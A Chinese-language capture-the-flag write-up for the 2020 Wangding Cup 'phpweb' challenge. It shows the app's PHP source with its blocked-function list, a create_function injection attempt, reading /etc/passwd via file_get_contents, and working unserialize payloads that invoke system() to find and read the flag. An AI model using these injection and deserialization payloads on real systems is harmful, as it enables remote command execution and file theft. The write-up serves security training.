[网鼎杯 2020 朱雀组]phpweb
1.打开题目,查看
2.抓到包之后,每个一段时间,就闪一下
3.将抓到的数据进行修改,但是被过滤
4.试了exec
还是不行
5.使用了eval
函数,还是被过滤
6.passthru
函数还是不行
7.shell_exec()
函数也被绕过
8.assert()
函数也被过滤
9.call_user_func()
函数也被过滤
10.create_function()
函数没被过滤
func=create_function&p=('',$_POST['cmd']);$func();)
11.发现没有执行成功
12.直接无法啦,代码审计吧,这个思路就很好,可惜我没想到
使用
func=file_get_contents&p=index.php
13.使用浏览器打开之后,查看页面源代码
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
14.你会不会和我想到一处,既然源代码可以读取,那读取个flag.php
,不过分吧,但是没有成功
15.读取/etc/passwd
试试
func=file_get_contents&p=/etc/passwd
16.最后的倔强还是不行
17.代码审计吧
18.审计啦一波,发现没有成功,使用另外的一种方式
19.通过上述的方法,就可以找到flag的位置
func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:18:"find+/+-name+flag*";}
20.通过找到flag
的位置,读取flag
信息
反序列化的代码
<?php
class Test {
public $func;
public $p;
}
$test = new Test();
$test->func = "system";
$test->p = "cat /tmp/flagoefiu4r93";
var_dump(serialize($test));
?>
21.获取flag
信息
func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:22:"cat+/tmp/flagoefiu4r93";}
22.成功得到flag
flag{db37924a-f786-4f1a-b591-943ebd8ea46e}
23.当然,我们主要是不知道文件的路径及名称,无法使用file_get_contents
函数进行读取
func=file_get_contents&p=/tmp/flagoefiu4r93
24.使用非预期是ok
的